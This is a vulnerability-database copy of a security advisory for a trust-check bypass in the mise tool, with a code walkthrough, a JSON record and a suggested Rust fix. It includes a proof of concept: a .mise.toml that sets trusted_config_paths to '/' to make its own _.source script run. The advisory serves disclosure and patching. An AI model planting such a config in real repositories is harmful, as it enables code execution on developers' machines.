GHSA-436V-8FW5-4MJ8

Vulnerability from github – Published: 2026-04-07 20:13 – Updated: 2026-06-12 19:30
VLAI
Summary
Local settings bypass config trust checks
Details

Summary

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

  1. Settings::try_get() preloads local settings files.
  2. parse_settings_file() returns settings_file.settings without checking whether the file is trusted.
  3. trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}

If a local project file sets:

[settings]
trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

  • Docker
  • linux-arm64
  • mise v2026.3.17

Negative control:

[env]
_.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]

with:

#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

  • v2026.2.17: local yes = true does not bypass trust
  • v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

Impact

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

  • execution via [env] _.source during mise hook-env
  • bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

  • trusted_config_paths
  • yes
  • ci
  • paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.yes = None;
        settings.ci = None;
        settings.trusted_config_paths = None;
        settings.paranoid = None;
    }

    Ok(settings)
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "mise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.2.18"
            },
            {
              "fixed": "2026.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T20:13:11Z",
    "nvd_published_at": "2026-04-07T21:17:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n    if canonicalized_path.starts_with(p) {\n        add_trusted(canonicalized_path.to_path_buf());\n        return true;\n    }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv \u003e /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt =\u003e trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.yes = None;\n        settings.ci = None;\n        settings.trusted_config_paths = None;\n        settings.paranoid = None;\n    }\n\n    Ok(settings)\n}\n```",
  "id": "GHSA-436v-8fw5-4mj8",
  "modified": "2026-06-12T19:30:52Z",
  "published": "2026-04-07T20:13:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35533"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdx/mise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local settings bypass config trust checks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…